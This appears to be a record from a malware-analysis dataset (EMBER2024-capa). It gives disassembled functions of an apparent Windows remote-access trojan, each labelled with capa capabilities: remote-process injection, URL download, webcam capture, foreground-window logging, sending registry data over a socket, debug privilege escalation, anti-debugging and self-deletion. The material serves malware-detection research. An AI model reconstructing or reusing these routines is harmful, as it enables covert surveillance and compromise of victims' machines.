joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1316635c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x1316638a
mov eax, ebx
call fcn.13166e10
cmp dword [ebx + 0x40], 0
je 0x13166383
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x131663fb
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x131663ed
cmp dword [ebx + 8], 0
je 0x131663ac
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x131663be
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x131663ed
cmp dword [ebx + 8], 0
je 0x1316639f
cmp eax, 3
je 0x131663d1
dec eax
jne 0x1316639f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x1316639f
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x1316639f
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x13166419
cmp dword [ebx + 0x14], 0xcc
je 0x13166419
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.13166424
pop ebx
ret

Function at 0x13176c94
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, edx
push esp
push 0
push 0
push eax
push 0
call sub.SHFolder.dll_SHGetFolderPathA
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x13176cca
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.131453b0
jmp 0x13176cd1
mov eax, ebx
call fcn.13145140
add esp, 0x108
pop ebx
ret
Function at 0x13177bc0
Capabilities:
Capture webcam image
Delete file

Disassembly:
push ebx
xor ebx, ebx
cmp dword [0x1318bb1c], 0
je 0x13177c0d
push 0
push 0
push 0x43c
mov eax, dword [0x1318bb1c]
push eax
call sub.user32.dll_SendMessageA
push 0x13177c14
push 0
push 0x419
mov eax, dword [0x1318bb1c]
push eax
call sub.user32.dll_SendMessageA
mov eax, 0x13177c24
call fcn.13177a38
mov ebx, eax
push 0x13177c14
call sub.kernel32.dll_DeleteFileA
mov eax, ebx
pop ebx
ret

Function at 0x13178140
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.131455c0
mov eax, dword [ebp - 8]
call fcn.131455c0
xor eax, eax
push ebp
push 0x131781ce
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x131781a7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.131455d0
push eax
mov eax, dword [ebp - 4]
call fcn.131455d0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x131781b3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131781d5
lea eax, [ebp - 8]
mov edx, 2
call fcn.13145164
ret

Function at 0x1317851c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x131785a2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, ebx
call fcn.13145338
mov eax, dword [ebp - 8]
test eax, eax
je 0x13178550
sub eax, 4
mov eax, dword [eax]
push 0x40
push 0x3000
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.13145338
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x13178579
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 4]
push edx
inc eax
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131785a9
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.13145164
ret

Function at 0x131785b4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x131785e4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.131785b4
mov esi, eax
mov eax, edi
call fcn.131784f8
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.131785b4
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x1317864a
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1317878c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
mov edx, dword [0x13178210]
call fcn.13145b70
xor eax, eax
push ebp
push 0x1317889d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x1d], 0
mov eax, dword [ebp - 0x1c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
mov esi, 0x10000000
add esi, 0x10000
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
je 0x13178825
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree_1
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
test ebx, ebx
jne 0x13178831
cmp esi, 0x30000000
jbe 0x131787da
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, ebx
mov eax, dword [ebp - 0x18]
call fcn.13178d8c
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x13178881
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 8]
mov dword [ebp - 0x24], edx
lea edx, [ebp - 0x2c]
push edx
mov edx, dword [ebp - 0x10]
push edx
push eax
push ebx
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_WriteProcessMemory
push 8
push 0
lea ecx, [ebp - 0x28]
mov edx, 0x13178764
mov eax, dword [ebp - 0x18]
call fcn.131785e4
test eax, eax
je 0x13178881
mov byte [ebp - 0x1d], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131788a4
lea eax, [ebp - 0x14]
mov edx, dword [0x13178210]
call fcn.13145c40
ret
Function at 0x13178b34
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
test eax, 0x4000000
je 0x13178b43
or edx, 0x200
test eax, 0x20000000
je 0x13178b77
test eax, 0x40000000
je 0x13178b62
test eax, 0x80000000
je 0x13178b5d
or edx, 0x40
jmp 0x13178b9e
or edx, 0x20
jmp 0x13178b9e
test eax, 0x80000000
je 0x13178b71
or edx, 0x80
jmp 0x13178b9e
or edx, 0x10
mov eax, edx
ret
test eax, 0x40000000
je 0x13178b8f
test eax, 0x80000000
je 0x13178b8a
or edx, 4
jmp 0x13178b9e
or edx, 2
jmp 0x13178b9e
test eax, 0x80000000
je 0x13178b9b
or edx, 8
jmp 0x13178b9e
or edx, 1
mov eax, edx
ret
Function at 0x131794f4
Capabilities:
Query or enumerate registry key
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 8], ebx
mov edi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.131455c0
xor eax, eax
push ebp
push 0x13179682
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.13145140
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x1317969c
call fcn.131456c0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.13145638
mov edx, dword [ebp - 0x1c]
mov eax, ebx
call fcn.131796b8
mov esi, eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1317956c
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
push eax
push 8
push 0
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x1317969c
call fcn.131456c0
mov edx, eax
inc edx
mov ecx, ebx
mov eax, dword [ebp - 4]
call fcn.13145638
mov eax, dword [ebp - 0x20]
call fcn.131455d0
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [ebp - 0x10], 0xff
mov eax, dword [ebp - 0x10]
call fcn.13142e8c
mov ebx, eax
xor esi, esi
jmp 0x131795e0
push dword [ebp - 8]
lea eax, [ebp - 0x24]
mov edx, ebx
call fcn.13145338
push dword [ebp - 0x24]
push 0x131796a8
lea eax, [ebp - 8]
mov edx, 3
call fcn.131454d4
inc esi
mov dword [ebp - 0x10], 0xff
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push ebx
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
je 0x131795b6
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
call fcn.13145194
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
push 0
push 0x23
lea eax, [ebp - 0x28]
call fcn.1317c05c
push dword [ebp - 0x28]
push 0x131796a8
push dword [ebp - 8]
push 0x131796b4
lea eax, [ebp - 8]
mov edx, 4
call fcn.131454d4
lea eax, [ebp - 8]
call fcn.13145630
mov edx, eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x13179650
sub eax, 4
mov eax, dword [eax]
push 0
push eax
push edx
push edi
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13179689
lea eax, [ebp - 0x28]
mov edx, 4
call fcn.13145164
lea eax, [ebp - 8]
mov edx, 2
call fcn.13145164
ret
Function at 0x1317a248
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
mov ebx, edx
mov byte [ebp - 1], 0
lea eax, [ebp - 0xc]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x1317a331
xor eax, eax
push ebp
push 0x1317a32a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
push eax
push 0x1317a33c
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
jne 0x1317a29b
call fcn.13144c34
jmp 0x1317a331
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 1
xor esi, esi
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
push 0x10
lea eax, [ebp - 0x38]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 1
test bl, bl
je 0x1317a2eb
or esi, 2
mov dword [ebp - 0x1c], esi
jmp 0x1317a2f1
and esi, 0xfffffffd
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 8]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317a331
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
movzx eax, byte [ebp - 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1317a350
Capabilities:
Find taskbar
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x110], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x1317a43c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x13178f98]
call fcn.131442e4
mov esi, eax
mov dl, 1
mov eax, ebx
call fcn.1317a248
lea eax, [ebp - 4]
push eax
push 0
push 0x1317a44c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
lea eax, [ebp - 0x109]
push eax
push 0x104
call sub.kernel32.dll_GetCurrentDirectoryA_1
push 0x1317a464
mov ecx, dword [ebx + 0x24]
mov edx, 0x1317a474
mov eax, esi
call fcn.13179b10
push 0x1317a464
lea edx, [ebp - 0x110]
xor eax, eax
call fcn.131432c8
mov ecx, dword [ebp - 0x110]
mov edx, 0x1317a4a8
mov eax, esi
call fcn.13179b10
mov edx, 0x1317a4dc
mov eax, ebx
call fcn.1317b038
push eax
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
pop edx
call fcn.1317878c
mov eax, esi
call fcn.13144314
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317a443
lea eax, [ebp - 0x110]
call fcn.13145140
ret
Function at 0x1317a868
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, edx
push esp
push 0
push 0
push 0x1c
push 0
call sub.SHFolder.dll_SHGetFolderPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.131453b0
mov eax, dword [ebx]
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x108]
test eax, eax
je 0x1317a8a6
sub eax, 4
mov eax, dword [eax]
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x1317a8bb
mov eax, ebx
mov edx, 0x1317a8cc
call fcn.1314540c
add esp, 0x10c
pop ebx
ret
Function at 0x1317ac80
Capabilities:
Create process on windows
Self delete
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3f
push 0
push 0
dec ecx
jne 0x1317ac88
push ecx
push ebx
push esi
push edi
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x1317af11
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x13178f98]
call fcn.131442e4
mov esi, eax
push edi
call sub.wsock32.dll_closesocket
cmp byte [ebx + 0xb], 1
jne 0x1317acf6
lea edx, [ebp - 0x1d4]
xor eax, eax
call fcn.131432c8
mov eax, dword [ebp - 0x1d4]
lea edx, [ebp - 0x1d0]
call fcn.1317c2ac
lea eax, [ebp - 0x1d0]
mov edx, dword [ebx + 0x10]
call fcn.1314540c
mov eax, dword [ebp - 0x1d0]
call fcn.1317c77c
cmp byte [ebx + 0xc], 0
je 0x1317ad05
mov eax, dword [ebx + 0x28]
push eax
call sub.kernel32.dll_SuspendThread
cmp byte [ebx + 6], 1
jne 0x1317ad2b
lea eax, [ebp - 0x1d8]
mov ecx, dword [ebx + 0x18]
mov edx, 0x1317af28
call fcn.13145458
mov edx, dword [ebp - 0x1d8]
mov eax, esi
call fcn.131797f0
cmp byte [ebx + 7], 1
jne 0x1317ad5b
push 0x1317af74
push dword [ebx + 0x1c]
push 0x1317afc8
lea eax, [ebp - 0x1dc]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x1dc]
mov eax, esi
call fcn.131797f0
cmp byte [ebx + 4], 1
jne 0x1317aead
lea eax, [ebp - 0x1e0]
mov ecx, 0x1317afd4
mov edx, dword [ebx + 0x20]
call fcn.13145458
mov eax, dword [ebp - 0x1e0]
call fcn.131455d0
mov edx, eax
lea eax, [ebp - 0x1cc]
call fcn.1314369c
lea eax, [ebp - 0x1cc]
call fcn.13143438
call fcn.13142fb4
push 0x1317afe8
lea edx, [ebp - 0x1e8]
xor eax, eax
call fcn.131432c8
push dword [ebp - 0x1e8]
push 0x1317aff8
lea eax, [ebp - 0x1e4]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x1cc]
call fcn.13145868
call fcn.13143d84
call fcn.13142fb4
push 0x1317afe8
lea edx, [ebp - 0x1f4]
xor eax, eax
call fcn.131432c8
mov eax, dword [ebp - 0x1f4]
lea edx, [ebp - 0x1f0]
call fcn.1317c2ac
push dword [ebp - 0x1f0]
push dword [ebx + 0x10]
push 0x1317aff8
lea eax, [ebp - 0x1ec]
mov edx, 4
call fcn.131454d4
mov edx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x1cc]
call fcn.13145868
call fcn.13143d84
call fcn.13142fb4
push 0x1317afe8
push dword [ebx + 0x20]
push 0x1317b004
lea eax, [ebp - 0x1f8]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x1f8]
lea eax, [ebp - 0x1cc]
call fcn.13145868
call fcn.13143d84
call fcn.13142fb4
lea eax, [ebp - 0x1cc]
call fcn.13143844
call fcn.13142fb4
push 0
mov eax, dword [ebx + 0x20]
call fcn.131455d0
push eax
push 0x1317b010
push 0x1317b014
push 0x1317b020
push 0
call sub.shell32.dll_ShellExecuteA
cmp byte [ebx + 0xc], 0
je 0x1317aedb
lea eax, [ebp - 0x1fc]
mov ecx, 0x1317b030
mov edx, dword [ebx + 0x24]
call fcn.13145458
mov eax, dword [ebp - 0x1fc]
call fcn.131455d0
push eax
push 0
push 0
call fcn.13147284
push 0x1388
call sub.kernel32.dll_Sleep_2
push 0
call sub.kernel32.dll_ExitProcess_1
Function at 0x1317b7b4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x114], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x1317b8ac
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x105
lea eax, [ebp - 0x105]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea edx, [ebp - 0x10c]
mov eax, ebx
call fcn.1317bb0c
push dword [ebp - 0x10c]
push 0x1317b8c4
lea edx, [ebp - 0x110]
mov eax, ebx
call fcn.1317be8c
push dword [ebp - 0x110]
push 0x1317b8c4
lea eax, [ebp - 0x114]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.131453b0
push dword [ebp - 0x114]
push 0x1317b8c4
mov eax, esi
mov edx, 6
call fcn.131454d4
push dword [esi]
mov eax, ebx
call fcn.1317b78c
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x118]
call fcn.1317c05c
push dword [ebp - 0x118]
push 0x1317b8d0
mov eax, esi
mov edx, 3
call fcn.131454d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317b8b3
lea eax, [ebp - 0x118]
mov edx, 4
call fcn.13145164
ret

Function at 0x1317b8dc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.131455c0
xor eax, eax
push ebp
push 0x1317b9b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x13179fb0]
call fcn.131442e4
mov edi, eax
mov byte [ebp - 5], 0
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
lea edx, [ebp - 0x10]
mov eax, edi
call fcn.1317a728
lea eax, [ebp - 0x10]
mov edx, 0x1317b9d4
call fcn.1314540c
mov eax, dword [ebp - 0x10]
call fcn.131455d0
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1317b999
push 2
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer_1
mov eax, dword [ebp - 4]
test eax, eax
je 0x1317b96b
sub eax, 4
mov eax, dword [eax]
mov esi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 4]
call fcn.13145630
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
cmp esi, dword [ebp - 0xc]
jne 0x1317b992
mov byte [ebp - 5], 1
mov eax, edi
call fcn.13144314
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317b9be
lea eax, [ebp - 0x10]
call fcn.13145140
lea eax, [ebp - 4]
call fcn.13145140
ret
Function at 0x1317bb0c
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ecx, ecx
mov dword [ebp - 4], ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x1317bb86
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xff
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.13145804
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.131455d0
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x1317bb64
push ebx
mov ecx, dword [ebp - 8]
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.13145638
jmp 0x1317bb70
mov eax, ebx
mov edx, 0x1317bb9c
call fcn.13145194
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317bb8d
lea eax, [ebp - 4]
call fcn.13145140
ret

Function at 0x1317bba4
Capabilities:
Check os version

Disassembly:
push ebx
add esp, 0xffffff6c
mov ebx, edx
mov eax, ebx
mov edx, 0x1317bd0c
call fcn.13145194
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x1317bcef
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0x10]
dec ecx
je 0x1317bc77
dec ecx
jne 0x1317bce1
cmp eax, 4
jg 0x1317bbfe
mov eax, ebx
mov edx, 0x1317bd20
call fcn.13145194
jmp 0x1317bcfb
cmp eax, 5
jne 0x1317bc18
test edx, edx
jne 0x1317bc18
mov eax, ebx
mov edx, 0x1317bd34
call fcn.13145194
jmp 0x1317bcfb
cmp eax, 5
jne 0x1317bc33
cmp edx, 1
jne 0x1317bc33
mov eax, ebx
mov edx, 0x1317bd4c
call fcn.13145194
jmp 0x1317bcfb
cmp eax, 6
jne 0x1317bc4d
test edx, edx
jne 0x1317bc4d
mov eax, ebx
mov edx, 0x1317bd60
call fcn.13145194
jmp 0x1317bcfb
cmp eax, 6
jne 0x1317bc66
dec edx
jne 0x1317bc66
mov eax, ebx
mov edx, 0x1317bd78
call fcn.13145194
jmp 0x1317bcfb
mov eax, ebx
mov edx, 0x1317bd0c
call fcn.13145194
jmp 0x1317bcfb
cmp eax, 4
jne 0x1317bc8e
test edx, edx
jne 0x1317bc8e
mov eax, ebx
mov edx, 0x1317bd8c
call fcn.13145194
jmp 0x1317bcfb
cmp eax, 4
jne 0x1317bcbb
cmp edx, 0xa
jne 0x1317bcbb
cmp byte [esp + 0x15], 0x41
jne 0x1317bcad
mov eax, ebx
mov edx, 0x1317bda0
call fcn.13145194
jmp 0x1317bcfb
mov eax, ebx
mov edx, 0x1317bdb8
call fcn.13145194
jmp 0x1317bcfb
cmp eax, 4
jne 0x1317bcd3
cmp edx, 0x5a
jne 0x1317bcd3
mov eax, ebx
mov edx, 0x1317bdcc
call fcn.13145194
jmp 0x1317bcfb
mov eax, ebx
mov edx, 0x1317bde0
call fcn.13145194
jmp 0x1317bcfb
mov eax, ebx
mov edx, 0x1317bde0
call fcn.13145194
jmp 0x1317bcfb
mov eax, ebx
mov edx, 0x1317bde0
call fcn.13145194
add esp, 0x94
pop ebx
ret
Function at 0x1317bde8
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_GetPriorityClass
mov ebx, eax
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_GetThreadPriority
mov esi, eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
push 0xf
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push 0xa
call sub.kernel32.dll_Sleep_1
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call sub.kernel32.dll_Sleep_1
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push esi
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push ebx
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
fild qword [ebp - 0x18]
fdiv dword [0x1317be88]
fstp qword [ebp - 0x10]
wait
fld qword [ebp - 0x10]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1317be8c
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, edx
mov dword [esp], pe_nt_image_headers32
push esp
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x1317bebd
mov eax, ebx
lea edx, [esp + 4]
mov ecx, pe_nt_image_headers32
call fcn.131453b0
jmp 0x1317bec4
mov eax, ebx
call fcn.13145140
add esp, 0x104
pop ebx
ret

Function at 0x1317c964
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff78
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x88], ecx
mov esi, edx
xor eax, eax
push ebp
push 0x1317c9f2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.13145140
lea eax, [ebp - 0x81]
push eax
push 0x81
call sub.kernel32.dll_GetLogicalDriveStringsA
test eax, eax
je 0x1317c9d9
lea ebx, [ebp - 0x81]
jmp 0x1317c9d4
push dword [esi]
lea eax, [ebp - 0x88]
mov edx, ebx
call fcn.13145338
push dword [ebp - 0x88]
push 0x1317ca08
mov eax, esi
mov edx, 3
call fcn.131454d4
add ebx, 4
cmp byte [ebx], 0
jne 0x1317c9ab
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317c9f9
lea eax, [ebp - 0x88]
call fcn.13145140
ret